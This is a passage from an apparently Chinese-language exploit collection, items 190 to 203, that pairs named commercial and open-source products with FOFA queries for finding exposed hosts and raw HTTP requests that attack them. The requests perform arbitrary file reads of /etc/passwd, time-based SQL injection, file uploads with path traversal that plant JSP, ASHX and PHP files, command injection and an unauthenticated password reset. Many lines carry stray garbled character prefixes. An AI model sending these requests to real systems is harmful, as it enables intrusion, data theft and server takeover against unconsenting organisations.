$ a3 p1 D1 T, a2 b% nHost: your-ip
User-Agent: Mozilla/5.0 (Windows NT 6.3; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/107.0.0.0 Safari/537.36
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3;q=0.7
Accept-Encoding: gzip, deflate
  O) r6 F" o# D. @4 ZAccept-Language: zh-CN,zh;q=0.9
  ~3 `( d& K9 ~  [" PConnection: close

% n, E- F0 F- M0 d' C' R
5 `% v" D4 q  c' V& l190. 短视频矩阵营销系统 poihuoqu 任意文件读取
' b6 x  H/ O" q! S- sFOFA：title=="短视频矩阵营销系统"
POST /index.php/admin/Userinfo/poihuoqu HTTP/2
3 S$ V1 I8 d# Y" |Host: your-ip
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/101.0.4951.54 Safari/537.36
& b/ ]* V( l! u5 QAccept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3;q=0.9
! Q: E+ V+ I# E7 a) q/ GContent-Type: application/x-www-form-urlencoded
Accept-Encoding: gzip, deflate
7 \! w8 ]6 {. A. W8 ^Accept-Language: zh-CN,zh;q=0.9
0 d- Q$ f- H0 P  y
5 N+ j, l2 k, v5 h- Spoi=file:///etc/passwd

& a9 R; N3 v% _- b- v2 l
4 P" ]/ G9 x+ W0 ^+ I' z" b191. 亿赛通电子文档安全管理系统 NavigationAjax SQL注入
FOFA：body="/CDGServer3/index.jsp"
! }" F) J/ \1 LPOST /CDGServer3/js/../NavigationAjax HTTP/1.1
) V. g6 l0 }% M( B' jHost: your-ip
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/70.0.3538.77 Safari/537.36
0 a% ]7 E1 W/ c' [% q7 g, LContent-Type: application/x-www-form-urlencoded
( ~/ `1 c" A; W
command=nav&id=1'waitfor delay '0:0:5'--+&name=&openId=


192. 富通天下外贸ERP UploadEmailAttr 任意文件上传
FOFA：title="用户登录_富通天下外贸ERP"
POST /JoinfApp/EMail/UploadEmailAttr?name=.ashx HTTP/1.1
( q: c. L9 ~  @7 y! [) OHost: your-ip
User-Agent: Mozilla/5.0 (Macintosh; Intel Mac OS X 10_15_7) AppleWebKit/537.36(KHTML, like Gecko) Chrome/93.0.4577.63 Safari/537.36
Content-Type: application/x-www-form-urlencoded
6 w3 b5 d% a9 X+ {9 f' T
& |- G2 G1 U  L8 f; y0 ]* L* B
' @$ |# C3 W7 a! [+ O" H) R( G<% @ webhandler language="C#" class="AverageHandler" %>
( Y2 k6 a1 r4 ?# ^" susing System;
# R5 I+ q# [8 x9 Lusing System.Web;
public class AverageHandler : IHttpHandler
# |3 w" d$ s. Q( h" b4 s- U0 j{
public bool IsReusable
{ get { return true; } }
public void ProcessRequest(HttpContext ctx)
2 W$ z7 @! e, `{
) m, {1 t: T# }0 vctx.Response.Write("test");
}
}

, j5 W+ n1 L. x4 }
193. 山石网科云鉴安全管理系统 setsystemtimeaction 命令执行
" \* k5 x% I) {- w* y% WFOFA：body="山石云鉴主机安全管理系统"
# t: ]- b, e, b8 L' ~GET /master/ajaxActions/getTokenAction.php HTTP/1.1
Host:
Cookie: PHPSESSID=2333333333333;
# b) Y7 V0 \9 N' n, u  HContent-Type: application/x-www-form-urlencoded
+ ]" W: c- H7 r3 c9 ]User-Agent: Mozilla/5.0
" o! `2 c! y9 E; T' c% R. Z( I! C
* v! q* M$ C# w
2 C5 @4 j: t! x5 |6 N6 u/ }3 MPOST /master/ajaxActions/setSystemTimeAction.php?token_csrf={{token}} HTTP/1.1
! m& `5 \4 A6 k( z4 gHost:
, j  P: Y* h+ |User-Agent: Mozilla/5.0
3 u4 s( C, q) n6 m8 d' p7 V" FAccept-Encoding: gzip, deflate
% P  G9 k- q! X  R3 \" OAccept: */*
6 `! d+ _- @2 t6 ]9 m) @) w' KConnection: close
Cookie: PHPSESSID=2333333333333;
. l- a$ }! ]" R3 i& `6 R8 R$ zContent-Type: application/x-www-form-urlencoded
Content-Length: 84

param=os.system('echo 23333333333456 > /opt/var/majorsec/installation/master/runtime/img/config')
8 A0 j% {3 n- \1 G0 c7 X, I" C

GET /master/img/config HTTP/1.1
) L) J6 J0 t& l! b7 _5 ZHost:
$ z0 a2 P/ u! f+ zUser-Agent: Mozilla/5.0
) G2 F0 r0 o( Q2 U8 S
* G; A( c8 l; `  H$ o
194. 飞企互联-FE企业运营管理平台 uploadAttachmentServlet 任意文件上传
FOFA：app="FE-协作平台"访问 /servlet/uploadAttachmentServlet 有返回则漏洞存在

( n0 M! q7 D" `7 D$ {- n, \: [POST /servlet/uploadAttachmentServlet HTTP/1.1
5 b0 A6 x8 L9 [; XHost: host
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/103.0.0.0 Safari/537.36
0 T& X9 E: u9 L; h% y5 ~4 M1 cAccept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,*/*;q=0.8
Accept-Language: zh-CN,zh;q=0.8,zh-TW;q=0.7,zh-HK;q=0.5,en-US;q=0.3,en;q=0.2
Accept-Encoding: gzip, deflate
Connection: close
/ R/ E( R, z$ d/ f! O( J' B8 m$ ~2 mContent-Type: multipart/form-data; boundary=----WebKitFormBoundaryKNt0t4vBe8cX9rZk
------WebKitFormBoundaryKNt0t4vBe8cX9rZk
: j% w( {3 P8 }; Y- P/ `
Content-Disposition: form-data; name="uploadFile"; filename="../../../../../jboss/web/fe.war/hello.jsp"
# b. }8 O3 M) y: N0 D+ {Content-Type: text/plain
<% out.println("hello");%>
------WebKitFormBoundaryKNt0t4vBe8cX9rZk
( e" G9 s# K6 M; VContent-Disposition: form-data; name="json"
& G5 C  G8 C+ h  Q& x1 ^ {"iq":{"query":{"UpdateType":"mail"}}}
------WebKitFormBoundaryKNt0t4vBe8cX9rZk--
5 O$ ?: B, z5 ^9 t3 h) u

% r6 d3 h% J2 A9 l& z( m195. 飞鱼星上网行为管理系统 send_order.cgi命令执行
  c+ }% ~9 i8 IFOFA：title=="飞鱼星企业级智能上网行为管理系统
POST /send_order.cgi?parameter=operation HTTP/1.1
- k9 l3 m  B$ Y9 b0 \% E- B& j3 DHost: 127.0.0.1
9 G8 c! j. {) j/ w4 w6 g/ E" qPragma: no-cache
Cache-Control: no-cache
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/122.0.0.0 Safari/537.36
2 j  A- A# a6 E; t  u% MAccept: */*
Accept-Encoding: gzip, deflate
  K) t5 p0 e* ~6 EAccept-Language: zh-CN,zh;q=0.9
Connection: close
* Y4 L$ f3 q: ]& k* I) H* d9 iContent-Type: application/x-www-form-urlencoded
Content-Length: 68

{"opid":"777777777777777777","name":";uname -a;echo ","type":"rest"}


: B  \) j& ]3 J( G196. 河南省风速科技统一认证平台密码重置
) c6 k0 Y! v* p7 H6 Y) I. MFOFA：body="/cas/themes/zbvc/js/jquery.min.js"
" B# ^* ]. z, L/ d5 yPOST /cas/userCtl/resetPasswordBySuper HTTP/1.1
User-Agent: Mozilla/5.0 (Macintosh; Intel Mac OS X 10_15_7) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/93.0.4577.63 Safari/537.36
Content-Type: application/json;charset=UTF-8
X-Requested-With: XMLHttpRequest
! A; @/ [: x' ^8 P- q. S; j: QHost:
Accept: text/html, image/gif, image/jpeg, *; q=.2, */*; q=.2
& L6 r9 s# a! u7 s; Q3 p" x; {Content-Length: 45
Connection: close

{"xgh":"test","newPass":"test666","email":""}
, `2 a* P8 t: \$ z% [7 h
$ Q& B* ~. z3 ?( }+ d( ]
. ]" z* `8 b( C9 {, p6 K
197. 浙大恩特客户资源管理系统-Quotegask_editAction存在SQL注入
FOFA：app="浙大恩特客户资源管理系统"
- L' e. P, D8 k- m$ oGET /entsoft/Quotegask_editAction.entweb;.js?goonumStr=1')+UNION+ALL+SELECT+111*111--+&method=goonumIsExist HTTP/1.1
0 S" V7 }6 T) [; Z' Q8 D. {Host:
User-Agent: Mozilla/5.0 (Macintosh; Intel Mac OS X 10_8_4) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/49.0.2656.18 Safari/537.36
  c2 F  Z! L, b1 Y" I" HAccept-Encoding: gzip, deflate
Connection: close
7 D& V+ k% g9 y
& I# ?: k( ?- H+ f# J- I

+ U3 N) A0 F) k$ H1 t: w% g198.  阿里云盘 WebDAV 命令注入
CVE-2024-29640
GET /cgi-bin/luci/admin/services/aliyundrive-webdav/query?sid=%60%6c%73%20%2f%3e%2f%77%77%77%2f%61%61%61%2e%74%78%74%60%20 HTTP/1.1
Cookie: sysauth=41273cb2cffef0bb5d0653592624cf64
Accept: */*
Accept-Encoding: gzip, deflate
/ _" `5 y7 p" m( m8 B+ l+ fAccept-Language: zh-CN,zh;q=0.9,en;q=0.8,en-GB;q=0.7,en-US;q=0.6
Connection: close
: ]7 q' G. m( {' b; M  ~% M
+ f' R. N, I7 `5 r6 Q4 q
199. cockpit系统assetsmanager_upload接口 文件上传
: n  |* W+ A* P, a
7 [6 x6 k" w3 @# k  o7 e/ V: E1.执行poc进行csrf信息获取，并获取cookie，再上传访问得到结果：
( K  ]5 s4 p. g5 J" x" fGET /auth/login?to=/ HTTP/1.1
$ S# G! G# V/ {; K2 F  ^  K
响应：200，返回值:csfr:"eyJ0eXAi0iJKV1QiLCJhbGci0iJIUsI1NiJ9.eyJjc2ZyIjoibG9naW4ifQ.6KvuRJo3-Dp2UouwGH9D8cmnXEL4NGNen9CX3ex86cw"

3 O/ g: t* f, C) ]2.使用刚才上一步获取到的jwt获取cookie：

! i; P" e) f6 {3 @, D: B  H1 BPOST /auth/check HTTP/1.1
: L. I6 c- P( V) G0 `9 ~Content-Type: application/json
- q& r9 a( D8 c2 [/ K3 G5 _
{"auth":{"user":"admin","password":"admin"},"csfr":"eyJ0eXAi0iJKV1QiLCJhbGci0iJIUsI1NiJ9.eyJjc2ZyIjoibG9naW4ifQ.6KvuRJo3-Dp2UouwGH9D8cmnXEL4NGNen9CX3ex86cw"}
) [5 Y" D8 O' p5 E) x
响应：200，返回值:
4 |0 b% E* {- P" L2 B0 c0 m/ i  mSet-Cookie:mysession=95524f01e238bf51bb60d77ede3bea92: path=/
Fofa：title="Authenticate Please!"
POST /assetsmanager/upload HTTP/1.1
Content-Type: multipart/form-data; boundary=---------------------------36D28FBc36bd6feE7Fb3
; f. _8 E; H+ U9 g9 M6 iCookie: mysession=95524f01e238bf51bb60d77ede3bea92

-----------------------------36D28FBc36bd6feE7Fb3
. W- T4 Y: @4 k9 g) rContent-Disposition: form-data; name="files[]"; filename="tttt.php"
0 h; v; y# [2 }: ^* O1 GContent-Type: text/php
2 x0 k3 O. b: X7 y8 l
<?php echo "tttt";unlink(__FILE__);?>
-----------------------------36D28FBc36bd6feE7Fb3
Content-Disposition: form-data; name="folder"

-----------------------------36D28FBc36bd6feE7Fb3--


+ }4 }7 L* n2 M. u/storage/uploads/tttt.php

200. SeaCMS海洋影视管理系统dmku SQL注入
' o. `! V- p4 i  jFOFA：app="海洋CMS"
6 I& K3 ^/ m3 G9 H: P( n. w" _$ H, vGET /js/player/dmplayer/dmku/?ac=del&id=(select(0)from(select(sleep(5)))v)&type=list HTTP/1.1
1 a: H) S+ L8 N8 h: ?Cookie: PHPSESSID=hlfl5flck9q3ng1blehhv86s4s
' L2 b% a! Z. G' K" n1 B8 \Upgrade-Insecure-Requests: 1
Cache-Control: max-age=0
8 ^% a4 O+ k! G# WAccept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3;q=0.7
Accept-Encoding: gzip, deflate
Accept-Language: zh-CN,zh;q=0.9
. G3 ?" i. @; n: T: @2 w' I- K2 T

201. 方正全媒体新闻采编系统 binary SQL注入
FOFA：body="/newsedit/newsedit/" || app="FOUNDER-全媒体采编系统"
POST /newsedit/newsplan/task/binary.do HTTP/1.1
Content-Type: application/x-www-form-urlencoded
4 X! I9 R; T3 U. b" @' a8 c9 TAccept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3;q=0.7
" l1 B* \4 M4 J9 `' J6 OAccept-Encoding: gzip, deflate
1 \* |7 o' A' u# d! k8 {4 HAccept-Language: zh-CN,zh;q=0.9
- t( |% M3 a* w# H+ ?: uConnection: close
1 v) Z' P( p) ~7 u; L
! c8 o1 q, W3 d" u/ k" n0 tTableName=DOM_IMAGE+where+REFID%3D-1+union+select+%271%27%3B+WAITFOR+DELAY+%270%3A0%3A5%27%3Bselect+DOM_IMAGE+from+IMG_LARGE_PATH&FieldName=IMG_LARGE_PATH&KeyName=REFID&KeyID=1
  a/ M& s2 e' l
0 F% ?8 J9 L+ L% ~" _+ v* r
202. 微擎系统 AccountEdit任意文件上传
2 ]6 `3 r7 Y" E- R3 ]) ~! \9 ^5 ?FOFA：body="/Widgets/WidgetCollection/"
获取__VIEWSTATE和__EVENTVALIDATION值
$ j0 f3 p4 v" b' z9 jGET /User/AccountEdit.aspx HTTP/1.1
" C. F# X5 L: I( j) H+ nHost: 滑板人之家
4 u& I1 D( X1 h0 G: AUser-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/531.36 (KHTML, like Gecko) Chrome/83.0.4103.112 Safari/537.31
) V; W) b: E. ?, H/ |6 PContent-Length: 0

( x3 h0 |( S- d4 b- {9 C
替换__VIEWSTATE和__EVENTVALIDATION值
# O  N4 `+ ?- M) t4 gPOST /User/AccountEdit.aspx HTTP/1.1
Accept-Encoding: gzip, deflate, br
Content-Type: multipart/form-data;boundary=---------------------------786435874t38587593865736587346567358735687

-----------------------------786435874t38587593865736587346567358735687
# W. j$ U; H7 C- l4 P* oContent-Disposition: form-data; name="__VIEWSTATE"
% D" t. L* a" e9 ?8 d
__VIEWSTATE
1 [  R1 v: |" K. J9 J. L) K+ r-----------------------------786435874t38587593865736587346567358735687
3 B6 @9 T. Y6 m+ G6 s2 fContent-Disposition: form-data; name="__EVENTVALIDATION"
( [0 o- {5 N3 G. P
__EVENTVALIDATION
2 I* k2 f3 O* D* `8 f5 i5 R/ L-----------------------------786435874t38587593865736587346567358735687
Content-Disposition: form-data; name="ctl00$MyContentPlaceHolder$ctl00$upload"; filename="1123.txt"
# p5 j+ Q* J3 ?6 J/ {Content-Type: text/plain

2 Z) |3 J' f5 {( NHello World!
-----------------------------786435874t38587593865736587346567358735687
& Y2 O" L7 `/ |5 g* Q, bContent-Disposition: form-data; name="ctl00$MyContentPlaceHolder$ctl00$bttnUpload"
" y( l& u( N2 j" z
4 \: [7 m( A) `" i- \上传图片
7 T" C4 T& [0 K. }! [-----------------------------786435874t38587593865736587346567358735687
Content-Disposition: form-data; name="ctl00$MyContentPlaceHolder$ctl00$txtLastName"

1 E4 d3 D4 _0 z4 M: y  T
-----------------------------786435874t38587593865736587346567358735687
( `4 w/ d, p1 v2 p, S% {Content-Disposition: form-data; name="ctl00$MyContentPlaceHolder$ctl00$txtEmail"


5 A. V, n2 U+ Q- D-----------------------------786435874t38587593865736587346567358735687--
6 ~/ R+ L' Z; b  a4 q6 o/ j/ x6 q2 U

+ P8 r7 [, m9 H: T. {; D( H/_data/Uploads/1123.txt

6 V$ Y6 k6 J0 G203. 红海云EHR PtFjk 文件上传
FOFA：body="RedseaPlatform"
POST /RedseaPlatform/PtFjk.mob?method=upload HTTP/1.1
/ U2 c( K, T$ h" F+ t8 z( kHost: x.x.x.x
+ I' X! {" i. b; J& B6 z" LAccept-Encoding: gzip
& R, G+ x/ p2 y2 J: cUser-Agent: Mozilla/5.0 (Macintosh; Intel Mac OS X 10_14_3) AppleWebKit/605.1.15 (KHTML, like Gecko) Version/12.0.3 Safari/605.1.15
Content-Type: multipart/form-data; boundary=----WebKitFormBoundaryt7WbDl1tXogoZys4
  `4 a6 w* D  w( C( a! ^+ @  mContent-Length: 210
# P$ P/ ]5 Q! b5 o
------WebKitFormBoundaryt7WbDl1tXogoZys4
Content-Disposition: form-data; name="fj_file"; filename="11.jsp"
Content-Type:image/jpeg

, `$ ~& G4 C' d: q( W<% out.print("hello,eHR");%>
------WebKitFormBoundaryt7WbDl1tXogoZys4--

- J! k- \  r% v
( B+ u) Z& l, h/ f! G
$ E7 p/ }( K8 x' U  N$ K1 J; f